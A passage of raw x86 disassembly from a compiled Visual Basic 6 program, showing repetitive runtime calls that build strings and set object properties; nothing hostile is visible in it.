    00407b4emov [ebp-168], 0x403280
    00407b58mov [ebp-176], eax
    00407b5ecall imp:msvbvm60!__vbaVarDup
    00407b64mov [ebp-152], 0x4033a0
    00407b6ejmp 0x407dd6
    00407b73mov ecx, [esi]
    00407b75push esi
    00407b76call [ecx+780]
    00407b7clea edx, [ebp-48]
    00407b7fpush eax
    00407b80push edx
    00407b81call ebx
    00407b83mov [ebp-192], eax
    00407b89mov eax, [esi]
    00407b8bpush esi
    00407b8ccall [eax+780]
    00407b92lea ecx, [ebp-44]
    00407b95push eax
    00407b96push ecx
    00407b97call ebx
    00407b99mov edx, [eax]
    00407b9blea ecx, [ebp-36]
    00407b9epush ecx
    00407b9fpush eax
    00407ba0mov [ebp-184], eax
    00407ba6call [edx+160]
    00407bactest eax, eax
    00407baefnclex
    00407bb0jge 0x407bca
    00407bb2mov edx, [ebp-184]
    00407bb8push 160
    00407bbdpush 0x403038
    00407bc2push edx
    00407bc3push eax
    00407bc4call imp:msvbvm60!__vbaHresultCheckObj
    00407bca
    00407bcaloc_407bca:
    00407bcamov eax, [ebp-36]
    00407bcdlea edx, [ebp-176]
    00407bd3mov [ebp-104], eax
    00407bd6mov eax, 8
    00407bdblea ecx, [ebp-80]
    00407bdemov [ebp-36], 0
    00407be5mov [ebp-112], eax
    00407be8mov [ebp-168], 0x4033b0
    00407bf2mov [ebp-176], eax
    00407bf8call imp:msvbvm60!__vbaVarDup
    00407bfemov [ebp-152], 0x4033a8
    00407c08jmp 0x406c1f
    00407c0dmov edx, [esi]
    00407c0fpush esi
    00407c10call [edx+780]
    00407c16push eax
    00407c17lea eax, [ebp-48]
    00407c1apush eax
    00407c1bcall ebx
    00407c1dmov ecx, [esi]
    00407c1fpush esi
    00407c20mov [ebp-192], eax
    00407c26call [ecx+780]
    00407c2clea edx, [ebp-44]
    00407c2fpush eax
    00407c30push edx
    00407c31call ebx
    00407c33mov ecx, [eax]
    00407c35lea edx, [ebp-36]
    00407c38push edx
    00407c39push eax
    00407c3amov [ebp-184], eax
    00407c40call [ecx+160]
    00407c46test eax, eax
    00407c48fnclex
    00407c4ajge 0x407c64
    00407c4cmov ecx, [ebp-184]
    00407c52push 160
    00407c57push 0x403038
    00407c5cpush ecx
    00407c5dpush eax
    00407c5ecall imp:msvbvm60!__vbaHresultCheckObj
    00407c64
    00407c64loc_407c64:
    00407c64mov eax, [ebp-36]
    00407c67lea edx, [ebp-176]
    00407c6dmov [ebp-104], eax
    00407c70mov eax, 8
    00407c75lea ecx, [ebp-80]
    00407c78mov [ebp-36], 0
    00407c7fmov [ebp-112], eax
    00407c82mov [ebp-168], 0x403270
    00407c8cmov [ebp-176], eax
    00407c92call imp:msvbvm60!__vbaVarDup
    00407c98mov [ebp-152], 0x403268
    00407ca2jmp 0x407dd6
    00407ca7mov ecx, [esi]
    00407ca9push esi
    00407caacall [ecx+780]
    00407cb0lea edx, [ebp-48]
    00407cb3push eax
    00407cb4push edx
    00407cb5call ebx
    00407cb7mov [ebp-192], eax
    00407cbdmov eax, [esi]
    00407cbfpush esi
    00407cc0call [eax+780]
    00407cc6lea ecx, [ebp-44]
    00407cc9push eax
    00407ccapush ecx
    00407ccbcall ebx
    00407ccdmov edx, [eax]
    00407ccflea ecx, [ebp-36]
    00407cd2push ecx
    00407cd3push eax
    00407cd4mov [ebp-184], eax
    00407cdacall [edx+160]
    00407ce0test eax, eax
    00407ce2fnclex
    00407ce4jge 0x407cfe
    00407ce6mov edx, [ebp-184]
    00407cecpush 160
    00407cf1push 0x403038
    00407cf6push edx
    00407cf7push eax
    00407cf8call imp:msvbvm60!__vbaHresultCheckObj
    00407cfe
    00407cfeloc_407cfe:
    00407cfemov eax, [ebp-36]
    00407d01lea edx, [ebp-176]
    00407d07mov [ebp-104], eax
    00407d0amov eax, 8
    00407d0flea ecx, [ebp-80]
    00407d12mov [ebp-36], 0
    00407d19mov [ebp-112], eax
    00407d1cmov [ebp-168], 0x4033c0
    00407d26mov [ebp-176], eax
    00407d2ccall imp:msvbvm60!__vbaVarDup
    00407d32mov [ebp-152], 0x4033b8
    00407d3cjmp 0x406c1f
    00407d41mov edx, [esi]
    00407d43push esi
    00407d44call [edx+780]
    00407d4apush eax
    00407d4blea eax, [ebp-48]
    00407d4epush eax
    00407d4fcall ebx
    00407d51mov ecx, [esi]
    00407d53push esi
    00407d54mov [ebp-192], eax
    00407d5acall [ecx+780]
    00407d60lea edx, [ebp-44]
    00407d63push eax
    00407d64push edx
    00407d65call ebx
    00407d67mov ecx, [eax]
    00407d69lea edx, [ebp-36]
    00407d6cpush edx
    00407d6dpush eax
    00407d6emov [ebp-184], eax
    00407d74call [ecx+160]
    00407d7atest eax, eax
    00407d7cfnclex
    00407d7ejge 0x407d98
    00407d80mov ecx, [ebp-184]
    00407d86push 160
    00407d8bpush 0x403038
    00407d90push ecx
    00407d91push eax
    00407d92call imp:msvbvm60!__vbaHresultCheckObj
    00407d98
    00407d98loc_407d98:
    00407d98mov eax, [ebp-36]
    00407d9blea edx, [ebp-176]
    00407da1mov [ebp-104], eax
    00407da4mov eax, 8
    00407da9lea ecx, [ebp-80]
    00407dacmov [ebp-36], 0
    00407db3mov [ebp-112], eax
    00407db6mov [ebp-168], 0x4033d0
    00407dc0mov [ebp-176], eax
    00407dc6call imp:msvbvm60!__vbaVarDup
    00407dccmov [ebp-152], 0x4033c8
    00407dd6
    00407dd6loc_407dd6:
    00407dd6lea edx, [ebp-160]
    00407ddclea ecx, [ebp-64]
    00407ddfmov [ebp-160], 8
    00407de9call imp:msvbvm60!__vbaVarDup
    00407defxor edx, edx
    00407df1cmp edi, -32768
    00407df7sete dl
    00407dfaneg edx
    00407dfclea eax, [ebp-80]
    00407dffmov [ebp-136], dx
    00407e06lea ecx, [ebp-64]
    00407e09push eax
    00407e0alea edx, [ebp-144]
    00407e10push ecx
    00407e11lea eax, [ebp-96]
    00407e14push edx
    00407e15push eax
    00407e16mov [ebp-144], 11
    00407e20call imp:msvbvm60!rtcImmediateIf
    00407e26mov ecx, [ebp-192]
    00407e2clea edx, [ebp-112]
    00407e2flea eax, [ebp-96]
    00407e32push edx
    00407e33mov edi, [ecx]
    00407e35lea ecx, [ebp-128]
    00407e38push eax
    00407e39push ecx
    00407e3acall imp:msvbvm60!__vbaVarCat
    00407e40lea edx, [ebp-40]
    00407e43push eax
    00407e44push edx
    00407e45call imp:msvbvm60!__vbaStrVarVal
    00407e4bpush eax
    00407e4cmov eax, [ebp-192]
    00407e52push eax
    00407e53call [edi+164]
    00407e59test eax, eax
    00407e5bfnclex
    00407e5djge 0x406de7
    00407e63jmp 0x406dcf
    00407e68mov ecx, [esi]
    00407e6apush esi
    00407e6bcall [ecx+780]
    00407e71lea edx, [ebp-48]
    00407e74push eax
    00407e75push edx
    00407e76call ebx
    00407e78mov [ebp-192], eax
    00407e7emov eax, [esi]
    00407e80push esi
    00407e81call [eax+780]
    00407e87lea ecx, [ebp-44]
    00407e8apush eax
    00407e8bpush ecx
    00407e8ccall ebx
    00407e8emov edx, [eax]
    00407e90lea ecx, [ebp-36]
    00407e93push ecx
    00407e94push eax
    00407e95mov [ebp-184], eax
    00407e9bcall [edx+160]
    00407ea1test eax, eax
    00407ea3fnclex
    00407ea5jge 0x407ebf
    00407ea7mov edx, [ebp-184]
    00407eadpush 160
    00407eb2push 0x403038
    00407eb7push edx
    00407eb8push eax
    00407eb9call imp:msvbvm60!__vbaHresultCheckObj
    00407ebf
    00407ebfloc_407ebf:
    00407ebfmov eax, [ebp-36]
    00407ec2lea edx, [ebp-176]
    00407ec8mov [ebp-104], eax
    00407ecbmov eax, 8
    00407ed0lea ecx, [ebp-80]
    00407ed3mov [ebp-36], 0
    00407edamov [ebp-112], eax
    00407eddmov [ebp-168], 0x4033e0
    00407ee7mov [ebp-176], eax
    00407eedcall imp:msvbvm60!__vbaVarDup
    00407ef3mov [ebp-152], 0x4033d8
    00407efdjmp 0x406c1f
    00407f02mov edx, [esi]
    00407f04push esi
    00407f05call [edx+780]
    00407f0bpush eax
    00407f0clea eax, [ebp-48]
    00407f0fpush eax
    00407f10call ebx
    00407f12mov ecx, [esi]
    00407f14push esi
    00407f15mov [ebp-192], eax
    00407f1bcall [ecx+780]
    00407f21lea edx, [ebp-44]
    00407f24push eax
    00407f25push edx
    00407f26call ebx
    00407f28mov ecx, [eax]
    00407f2alea edx, [ebp-36]
    00407f2dpush edx
    00407f2epush eax
    00407f2fmov [ebp-184], eax
    00407f35call [ecx+160]
    00407f3btest eax, eax
    00407f3dfnclex
    00407f3fjge 0x407f59
    00407f41mov ecx, [ebp-184]
    00407f47push 160
    00407f4cpush 0x403038
    00407f51push ecx
    00407f52push eax
    00407f53call imp:msvbvm60!__vbaHresultCheckObj
    00407f59
    00407f59loc_407f59:
    00407f59mov eax, [ebp-36]
    00407f5clea edx, [ebp-176]
    00407f62mov [ebp-104], eax
    00407f65mov eax, 8
    00407f6alea ecx, [ebp-80]
    00407f6dmov [ebp-36], 0
    00407f74mov [ebp-112], eax
    00407f77mov [ebp-168], 0x4033f0
    00407f81mov [ebp-176], eax
    00407f87call imp:msvbvm60!__vbaVarDup
    00407f8dlea edx, [ebp-160]
    00407f93lea ecx, [ebp-64]
    00407f96mov [ebp-152], 0x4033e8
    00407fa0mov [ebp-160], 8
    00407faacall imp:msvbvm60!__vbaVarDup
    00407fb0xor edx, edx
    00407fb2cmp edi, -32768
    00407fb8sete dl
    00407fbbneg edx
    00407fbdlea eax, [ebp-80]
    00407fc0mov [ebp-136], dx
    00407fc7lea ecx, [ebp-64]
    00407fcapush eax
    00407fcblea edx, [ebp-144]
    00407fd1push ecx
    00407fd2lea eax, [ebp-96]
    00407fd5push edx
    00407fd6push eax
    00407fd7mov [ebp-144], 11
    00407fe1call imp:msvbvm60!rtcImmediateIf
    00407fe7mov ecx, [ebp-192]
    00407fedlea edx, [ebp-112]
    00407ff0lea eax, [ebp-96]
    00407ff3push edx
    00407ff4mov edi, [ecx]
    00407ff6lea ecx, [ebp-128]
    00407ff9push eax
    00407ffapush ecx
    00407ffbcall imp:msvbvm60!__vbaVarCat
    00408001lea edx, [ebp-40]
    00408004push eax
    00408005push edx
    00408006call imp:msvbvm60!__vbaStrVarVal
    0040800cpush eax
    0040800dmov eax, [ebp-192]
    00408013push eax
    00408014call [edi+164]
    0040801atest eax, eax
    0040801cfnclex
    0040801ejge 0x408038
    00408020mov ecx, [ebp-192]
    00408026push 164
    0040802bpush 0x403038
    00408030push ecx
    00408031push eax
    00408032call imp:msvbvm60!__vbaHresultCheckObj
    00408038
    00408038loc_408038:
    00408038lea ecx, [ebp-40]
    0040803bcall imp:msvbvm60!__vbaFreeStr
    00408041lea edx, [ebp-48]
    00408044lea eax, [ebp-44]
    00408047push edx
    00408048push eax
    00408049push 2
    0040804bcall imp:msvbvm60!__vbaFreeObjList
    00408051lea ecx, [ebp-128]
    00408054lea edx, [ebp-96]
    00408057push ecx
    00408058lea eax, [ebp-112]
    0040805bpush edx
    0040805clea ecx, [ebp-80]
    0040805fpush eax
    00408060lea edx, [ebp-64]
    00408063push ecx
    00408064lea eax, [ebp-144]
    0040806apush edx
    0040806bpush eax
    0040806cpush 6
    0040806ecall imp:msvbvm60!__vbaFreeVarList
    00408074add esp, 40
    00408077jmp 0x408dc8
    0040807cmov ecx, [esi]
    0040807epush esi
    0040807fcall [ecx+780]
    00408085lea edx, [ebp-48]
    00408088push eax
    00408089push edx
    0040808acall ebx
    0040808cmov [ebp-192], eax
    00408092mov eax, [esi]
    00408094push esi
    00408095call [eax+780]
    0040809blea ecx, [ebp-44]
    0040809epush eax
    0040809fpush ecx
    004080a0call ebx
    004080a2mov edx, [eax]
    004080a4lea ecx, [ebp-36]
    004080a7push ecx
    004080a8push eax
    004080a9mov [ebp-184], eax
    004080afcall [edx+160]
    004080b5test eax, eax
    004080b7fnclex
    004080b9jge 0x4080d3
    004080bbmov edx, [ebp-184]
    004080c1push 160
    004080c6push 0x403038
    004080cbpush edx
    004080ccpush eax
    004080cdcall imp:msvbvm60!__vbaHresultCheckObj
    004080d3
    004080d3loc_4080d3:
    004080d3mov eax, [ebp-36]
    004080d6lea edx, [ebp-176]
    004080dcmov [ebp-104], eax
    004080dfmov eax, 8
    004080e4lea ecx, [ebp-80]
    004080e7mov [ebp-36], 0
    004080eemov [ebp-112], eax
    004080f1mov [ebp-168], 0x403400
    004080fbmov [ebp-176], eax
    00408101call imp:msvbvm60!__vbaVarDup
    00408107lea edx, [ebp-160]
    0040810dlea ecx, [ebp-64]
    00408110mov [ebp-152], 0x4033f8
    0040811amov [ebp-160], 8
    00408124call imp:msvbvm60!__vbaVarDup
    0040812axor eax, eax
    0040812ccmp edi, -32768
    00408132sete al
    00408135neg eax
    00408137lea ecx, [ebp-80]
    0040813amov [ebp-136], ax
    00408141lea edx, [ebp-64]
    00408144push ecx
    00408145lea eax, [ebp-144]
    0040814bpush edx
    0040814clea ecx, [ebp-96]
    0040814fpush eax
    00408150push ecx
    00408151mov [ebp-144], 11
    0040815bcall imp:msvbvm60!rtcImmediateIf
    00408161mov edx, [ebp-192]
    00408167lea eax, [ebp-112]
    0040816alea ecx, [ebp-96]
    0040816dpush eax
    0040816emov edi, [edx]
    00408170lea edx, [ebp-128]
    00408173push ecx
    00408174push edx
    00408175call imp:msvbvm60!__vbaVarCat
    0040817bpush eax
    0040817clea eax, [ebp-40]
    0040817fpush eax
    00408180call imp:msvbvm60!__vbaStrVarVal
    00408186mov ecx, [ebp-192]
    0040818cpush eax
    0040818dpush ecx
    0040818ecall [edi+164]
    00408194test eax, eax
    00408196fnclex
    00408198jge 0x4081b2
    0040819a
    0040819aloc_40819a:
    0040819amov edx, [ebp-192]
    004081a0push 164
    004081a5push 0x403038
    004081aapush edx
    004081abpush eax
    004081accall imp:msvbvm60!__vbaHresultCheckObj
    004081b2
    004081b2loc_4081b2:
    004081b2lea ecx, [ebp-40]
    004081b5call imp:msvbvm60!__vbaFreeStr
    004081bblea eax, [ebp-48]
    004081belea ecx, [ebp-44]
    004081c1push eax
    004081c2push ecx
    004081c3push 2
    004081c5call imp:msvbvm60!__vbaFreeObjList
    004081cblea edx, [ebp-128]
    004081celea eax, [ebp-96]
    004081d1push edx
    004081d2lea ecx, [ebp-112]
    004081d5push eax
    004081d6lea edx, [ebp-80]
    004081d9push ecx
    004081dalea eax, [ebp-64]
    004081ddpush edx
    004081delea ecx, [ebp-144]
    004081e4push eax
    004081e5push ecx
    004081e6push 6
    004081e8call imp:msvbvm60!__vbaFreeVarList
    004081eeadd esp, 40
    004081f1jmp 0x408dc8
    004081f6mov edx, [esi]
    004081f8push esi
    004081f9call [edx+780]
    004081ffpush eax
    00408200lea eax, [ebp-48]
    00408203push eax
    00408204call ebx
    00408206mov ecx, [esi]
    00408208push esi
    00408209mov [ebp-192], eax
    0040820fcall [ecx+780]
    00408215lea edx, [ebp-44]
    00408218push eax
    00408219push edx
    0040821acall ebx
    0040821cmov edi, eax
    0040821elea ecx, [ebp-36]
    00408221push ecx
    00408222push edi
    00408223mov eax, [edi]
    00408225call [eax+160]
    0040822btest eax, eax
    0040822dfnclex
    0040822fjge 0x408243
    00408231push 160
    00408236push 0x403038
    0040823bpush edi
    0040823cpush eax
    0040823dcall imp:msvbvm60!__vbaHresultCheckObj
    00408243
    00408243loc_408243:
    00408243mov eax, [ebp-36]
    00408246mov edx, [ebp-192]
    0040824cpush eax
    0040824dpush 0x403408
    00408252mov edi, [edx]
    00408254call imp:msvbvm60!__vbaStrCat
    0040825amov edx, eax
    0040825clea ecx, [ebp-40]
    0040825fcall imp:msvbvm60!__vbaStrMove
    00408265mov ecx, edi
    00408267mov edi, [ebp-192]
    0040826dpush eax
    0040826epush edi
    0040826fjmp 0x408b87
    00408274mov eax, [esi]
    00408276push esi
    00408277call [eax+780]
    0040827dlea ecx, [ebp-48]
    00408280push eax
    00408281push ecx
    00408282call ebx
    00408284mov edx, [esi]
    00408286push esi
    00408287mov [ebp-192], eax
    0040828dcall [edx+780]
    00408293push eax
    00408294lea eax, [ebp-44]
    00408297push eax
    00408298call ebx
    0040829amov edi, eax
    0040829clea edx, [ebp-36]
    0040829fpush edx
    004082a0push edi
    004082a1mov ecx, [edi]
    004082a3call [ecx+160]
    004082a9test eax, eax
    004082abfnclex
    004082adjge 0x4082c1
    004082afpush 160
    004082b4push 0x403038
    004082b9push edi
    004082bapush eax
    004082bbcall imp:msvbvm60!__vbaHresultCheckObj
    004082c1
    004082c1loc_4082c1:
    004082c1mov ecx, [ebp-36]
    004082c4mov eax, [ebp-192]
    004082capush ecx
    004082cbpush 0x403424
    004082d0mov edi, [eax]
    004082d2call imp:msvbvm60!__vbaStrCat
    004082d8mov edx, eax
    004082dalea ecx, [ebp-40]
    004082ddcall imp:msvbvm60!__vbaStrMove
    004082e3mov edx, edi
    004082e5mov edi, [ebp-192]
    004082ebpush eax
    004082ecpush edi
    004082edjmp 0x4063d1
    004082f2mov ecx, [esi]
    004082f4push esi
    004082f5call [ecx+780]
    004082fblea edx, [ebp-48]
    004082fepush eax
    004082ffpush edx
    00408300call ebx
    00408302mov [ebp-192], eax
    00408308mov eax, [esi]
    0040830apush esi
    0040830bcall [eax+780]
    00408311lea ecx, [ebp-44]
    00408314push eax
    00408315push ecx
    00408316call ebx
    00408318mov edi, eax
    0040831alea eax, [ebp-36]
    0040831dpush eax
    0040831epush edi
    0040831fmov edx, [edi]
    00408321call [edx+160]
    00408327test eax, eax
    00408329fnclex
    0040832bjge 0x40833f
    0040832dpush 160
    00408332push 0x403038
    00408337push edi
    00408338push eax
    00408339call imp:msvbvm60!__vbaHresultCheckObj
    0040833f
    0040833floc_40833f:
    0040833fmov edx, [ebp-36]
    00408342mov ecx, [ebp-192]
    00408348push edx
    00408349push 0x40343c
    0040834emov edi, [ecx]
    00408350call imp:msvbvm60!__vbaStrCat
    00408356mov edx, eax
    00408358lea ecx, [ebp-40]
    0040835bcall imp:msvbvm60!__vbaStrMove
    00408361mov [ebp-452], edi
    00408367mov edi, [ebp-192]
    0040836dpush eax
    0040836emov eax, [ebp-452]
    00408374push edi
    00408375jmp 0x406469
    0040837amov edx, [esi]
    0040837cpush esi
    0040837dcall [edx+780]
    00408383push eax
    00408384lea eax, [ebp-48]
    00408387push eax
    00408388call ebx
    0040838amov ecx, [esi]
    0040838cpush esi
    0040838dmov [ebp-192], eax
    00408393call [ecx+780]
    00408399lea edx, [ebp-44]
    0040839cpush eax
    0040839dpush edx
    0040839ecall ebx
    004083a0mov edi, eax
    004083a2lea ecx, [ebp-36]
    004083a5push ecx
    004083a6push edi
    004083a7mov eax, [edi]
    004083a9call [eax+160]
    004083aftest eax, eax
    004083b1fnclex
    004083b3jge 0x4083c7
    004083b5push 160
    004083bapush 0x403038
    004083bfpush edi
    004083c0push eax
    004083c1call imp:msvbvm60!__vbaHresultCheckObj
    004083c7
    004083c7loc_4083c7:
    004083c7mov eax, [ebp-36]
    004083camov edx, [ebp-192]
    004083d0push eax
    004083d1push 0x403454
    004083d6mov edi, [edx]
    004083d8call imp:msvbvm60!__vbaStrCat
    004083demov edx, eax
    004083e0lea ecx, [ebp-40]
    004083e3call imp:msvbvm60!__vbaStrMove
    004083e9mov ecx, edi
    004083ebmov edi, [ebp-192]
    004083f1push eax
    004083f2push edi
    004083f3jmp 0x408b87
    004083f8mov eax, [esi]
    004083fapush esi
    004083fbcall [eax+780]
    00408401lea ecx, [ebp-48]
    00408404push eax
    00408405push ecx
    00408406call ebx
    00408408mov edx, [esi]
    0040840apush esi
    0040840bmov [ebp-192], eax
    00408411call [edx+780]
    00408417push eax
    00408418lea eax, [ebp-44]
    0040841bpush eax
    0040841ccall ebx
    0040841emov edi, eax
    00408420lea edx, [ebp-36]
    00408423push edx
    00408424push edi
    00408425mov ecx, [edi]
    00408427call [ecx+160]
    0040842dtest eax, eax
    0040842ffnclex
    00408431jge 0x408445
    00408433push 160
    00408438push 0x403038
    0040843dpush edi
    0040843epush eax
    0040843fcall imp:msvbvm60!__vbaHresultCheckObj
    00408445
    00408445loc_408445:
    00408445mov ecx, [ebp-36]
    00408448mov eax, [ebp-192]
    0040844epush ecx
    0040844fpush 0x40346c
    00408454mov edi, [eax]
    00408456call imp:msvbvm60!__vbaStrCat
    0040845cmov edx, eax
    0040845elea ecx, [ebp-40]
    00408461call imp:msvbvm60!__vbaStrMove
    00408467mov edx, edi
    00408469mov edi, [ebp-192]
    0040846fpush eax
    00408470push edi
    00408471jmp 0x4063d1
    00408476mov ecx, [esi]
    00408478push esi
    00408479call [ecx+780]
    0040847flea edx, [ebp-48]
    00408482push eax
    00408483push edx
    00408484call ebx
    00408486mov [ebp-192], eax
    0040848cmov eax, [esi]
    0040848epush esi
    0040848fcall [eax+780]
    00408495lea ecx, [ebp-44]
    00408498push eax
    00408499push ecx
    0040849acall ebx
    0040849cmov edi, eax
    0040849elea eax, [ebp-36]
    004084a1push eax
    004084a2push edi
    004084a3mov edx, [edi]
    004084a5call [edx+160]
    004084abtest eax, eax
    004084adfnclex
    004084afjge 0x4084c3
    004084b1push 160
    004084b6push 0x403038
    004084bbpush edi
    004084bcpush eax
    004084bdcall imp:msvbvm60!__vbaHresultCheckObj
    004084c3
    004084c3loc_4084c3:
    004084c3mov edx, [ebp-36]
    004084c6mov ecx, [ebp-192]
    004084ccpush edx
    004084cdpush 0x403488
    004084d2mov edi, [ecx]
    004084d4call imp:msvbvm60!__vbaStrCat
    004084damov edx, eax
    004084dclea ecx, [ebp-40]
    004084dfcall imp:msvbvm60!__vbaStrMove
    004084e5mov [ebp-464], edi
    004084ebmov edi, [ebp-192]
    004084f1push eax
    004084f2mov eax, [ebp-464]
    004084f8push edi
    004084f9jmp 0x406469
    004084femov edx, [esi]
    00408500push esi
    00408501call [edx+780]
    00408507push eax
    00408508lea eax, [ebp-48]
    0040850bpush eax
    0040850ccall ebx
    0040850emov ecx, [esi]
    00408510push esi
    00408511mov [ebp-192], eax
    00408517call [ecx+780]
    0040851dlea edx, [ebp-44]
    00408520push eax
    00408521push edx
    00408522call ebx
    00408524mov edi, eax
    00408526lea ecx, [ebp-36]
    00408529push ecx
    0040852apush edi
    0040852bmov eax, [edi]
    0040852dcall [eax+160]
    00408533test eax, eax
    00408535fnclex
    00408537jge 0x40854b
    00408539push 160
    0040853epush 0x403038
    00408543push edi
    00408544push eax
    00408545call imp:msvbvm60!__vbaHresultCheckObj
    0040854b
    0040854bloc_40854b:
    0040854bmov eax, [ebp-36]
    0040854emov edx, [ebp-192]
    00408554push eax
    00408555push 0x4034a4
    0040855amov edi, [edx]
    0040855ccall imp:msvbvm60!__vbaStrCat
    00408562mov edx, eax
    00408564lea ecx, [ebp-40]
    00408567call imp:msvbvm60!__vbaStrMove
    0040856dmov ecx, edi
    0040856fmov edi, [ebp-192]
    00408575push eax
    00408576push edi
    00408577jmp 0x408b87
    0040857cmov eax, [esi]
    0040857epush esi
    0040857fcall [eax+780]
    00408585lea ecx, [ebp-48]
    00408588push eax
    00408589push ecx
    0040858acall ebx
    0040858cmov edx, [esi]
    0040858epush esi
    0040858fmov [ebp-192], eax
    00408595call [edx+780]
    0040859bpush eax
    0040859clea eax, [ebp-44]
    0040859fpush eax
    004085a0call ebx
    004085a2mov edi, eax
    004085a4lea edx, [ebp-36]
    004085a7push edx
    004085a8push edi
    004085a9mov ecx, [edi]
    004085abcall [ecx+160]
    004085b1test eax, eax
    004085b3fnclex
    004085b5jge 0x4085c9
    004085b7push 160
    004085bcpush 0x403038
    004085c1push edi
    004085c2push eax
    004085c3call imp:msvbvm60!__vbaHresultCheckObj
    004085c9
    004085c9loc_4085c9:
    004085c9mov ecx, [ebp-36]
    004085ccmov eax, [ebp-192]
    004085d2push ecx
    004085d3push 0x4034bc
    004085d8mov edi, [eax]
    004085dacall imp:msvbvm60!__vbaStrCat
    004085e0mov edx, eax
    004085e2lea ecx, [ebp-40]
    004085e5call imp:msvbvm60!__vbaStrMove
    004085ebmov edx, edi
    004085edmov edi, [ebp-192]
    004085f3push eax
    004085f4push edi
    004085f5jmp 0x4063d1
    004085famov ecx, [esi]
    004085fcpush esi
    004085fdcall [ecx+780]
    00408603lea edx, [ebp-48]
    00408606push eax
    00408607push edx
    00408608call ebx
    0040860amov [ebp-192], eax
    00408610mov eax, [esi]
    00408612push esi
    00408613call [eax+780]
    00408619lea ecx, [ebp-44]
    0040861cpush eax
    0040861dpush ecx
    0040861ecall ebx
    00408620mov edi, eax
    00408622lea eax, [ebp-36]
    00408625push eax
    00408626push edi
    00408627mov edx, [edi]
    00408629call [edx+160]
    0040862ftest eax, eax
    00408631fnclex
    00408633jge 0x408647
    00408635push 160
    0040863apush 0x403038
    0040863fpush edi
    00408640push eax
    00408641call imp:msvbvm60!__vbaHresultCheckObj
    00408647
    00408647loc_408647:
    00408647mov edx, [ebp-36]
    0040864amov ecx, [ebp-192]
    00408650push edx
    00408651push 0x4034c4
    00408656mov edi, [ecx]
    00408658call imp:msvbvm60!__vbaStrCat
    0040865emov edx, eax
    00408660lea ecx, [ebp-40]
    00408663call imp:msvbvm60!__vbaStrMove
    00408669mov [ebp-476], edi
    0040866fmov edi, [ebp-192]
    00408675push eax
    00408676mov eax, [ebp-476]
    0040867cpush edi
    0040867djmp 0x406469
    00408682mov edx, [esi]
    00408684push esi
    00408685call [edx+780]
    0040868bpush eax
    0040868clea eax, [ebp-48]
    0040868fpush eax
    00408690call ebx
    00408692mov ecx, [esi]
    00408694push esi
    00408695mov [ebp-192], eax
    0040869bcall [ecx+780]
    004086a1lea edx, [ebp-44]
    004086a4push eax
    004086a5push edx
    004086a6call ebx
    004086a8mov edi, eax
    004086aalea ecx, [ebp-36]
    004086adpush ecx
    004086aepush edi
    004086afmov eax, [edi]
    004086b1call [eax+160]
    004086b7test eax, eax
    004086b9fnclex
    004086bbjge 0x4086cf
    004086bdpush 160
    004086c2push 0x403038
    004086c7push edi
    004086c8push eax
    004086c9call imp:msvbvm60!__vbaHresultCheckObj
    004086cf
    004086cfloc_4086cf:
    004086cfmov eax, [ebp-36]
    004086d2mov edx, [ebp-192]
    004086d8push eax
    004086d9push 0x4034e4
    004086demov edi, [edx]
    004086e0call imp:msvbvm60!__vbaStrCat
    004086e6mov edx, eax
    004086e8lea ecx, [ebp-40]
    004086ebcall imp:msvbvm60!__vbaStrMove
    004086f1mov ecx, edi
    004086f3mov edi, [ebp-192]
    004086f9push eax
    004086fapush edi
    004086fbjmp 0x408b87
    00408700mov eax, [esi]
    00408702push esi
    00408703call [eax+780]
    00408709lea ecx, [ebp-48]
    0040870cpush eax
    0040870dpush ecx
    0040870ecall ebx
    00408710mov edx, [esi]
    00408712push esi
    00408713mov [ebp-192], eax
    00408719call [edx+780]
    0040871fpush eax
    00408720lea eax, [ebp-44]
    00408723push eax
    00408724call ebx
    00408726mov edi, eax
    00408728lea edx, [ebp-36]
    0040872bpush edx
    0040872cpush edi
    0040872dmov ecx, [edi]
    0040872fcall [ecx+160]
    00408735test eax, eax
    00408737fnclex
    00408739jge 0x40874d
    0040873bpush 160
    00408740push 0x403038
    00408745push edi
    00408746push eax
    00408747call imp:msvbvm60!__vbaHresultCheckObj
    0040874d
    0040874dloc_40874d:
    0040874dmov ecx, [ebp-36]
    00408750mov eax, [ebp-192]
    00408756push ecx
    00408757push 0x40350c
    0040875cmov edi, [eax]
    0040875ecall imp:msvbvm60!__vbaStrCat
    00408764mov edx, eax
    00408766lea ecx, [ebp-40]
    00408769call imp:msvbvm60!__vbaStrMove
    0040876fmov edx, edi
    00408771mov edi, [ebp-192]
    00408777push eax
    00408778push edi
    00408779jmp 0x4063d1
    0040877emov ecx, [esi]
    00408780push esi
    00408781call [ecx+780]
    00408787lea edx, [ebp-48]
    0040878apush eax
    0040878bpush edx
    0040878ccall ebx
    0040878emov [ebp-192], eax
    00408794mov eax, [esi]
    00408796push esi
    00408797call [eax+780]
    0040879dlea ecx, [ebp-44]
    004087a0push eax
    004087a1push ecx
    004087a2call ebx
    004087a4mov edi, eax
    004087a6lea eax, [ebp-36]
    004087a9push eax
    004087aapush edi
    004087abmov edx, [edi]
    004087adcall [edx+160]
    004087b3test eax, eax
    004087b5fnclex
    004087b7jge 0x4087cb
    004087b9push 160
    004087bepush 0x403038
    004087c3push edi
    004087c4push eax
    004087c5call imp:msvbvm60!__vbaHresultCheckObj
    004087cb
    004087cbloc_4087cb:
    004087cbmov edx, [ebp-36]
    004087cemov ecx, [ebp-192]
    004087d4push edx
    004087d5push 0x403524
    004087damov edi, [ecx]
    004087dccall imp:msvbvm60!__vbaStrCat
    004087e2mov edx, eax
    004087e4lea ecx, [ebp-40]
    004087e7call imp:msvbvm60!__vbaStrMove
    004087edmov [ebp-488], edi
    004087f3mov edi, [ebp-192]
    004087f9push eax
    004087famov eax, [ebp-488]
    00408800push edi
    00408801jmp 0x406469
    00408806mov edx, [esi]
    00408808push esi
    00408809call [edx+780]
    0040880fpush eax
    00408810lea eax, [ebp-48]
    00408813push eax
    00408814call ebx
    00408816mov ecx, [esi]
    00408818push esi
    00408819mov [ebp-192], eax
    0040881fcall [ecx+780]
    00408825lea edx, [ebp-44]
    00408828push eax
    00408829push edx
    0040882acall ebx
    0040882cmov edi, eax
    0040882elea ecx, [ebp-36]
    00408831push ecx
    00408832push edi
    00408833mov eax, [edi]
    00408835call [eax+160]
    0040883btest eax, eax
    0040883dfnclex
    0040883fjge 0x408853
    00408841push 160
    00408846push 0x403038
    0040884bpush edi
    0040884cpush eax
    0040884dcall imp:msvbvm60!__vbaHresultCheckObj
    00408853
    00408853loc_408853:
    00408853mov eax, [ebp-36]
    00408856mov edx, [ebp-192]
    0040885cpush eax
    0040885dpush 0x403540
    00408862mov edi, [edx]
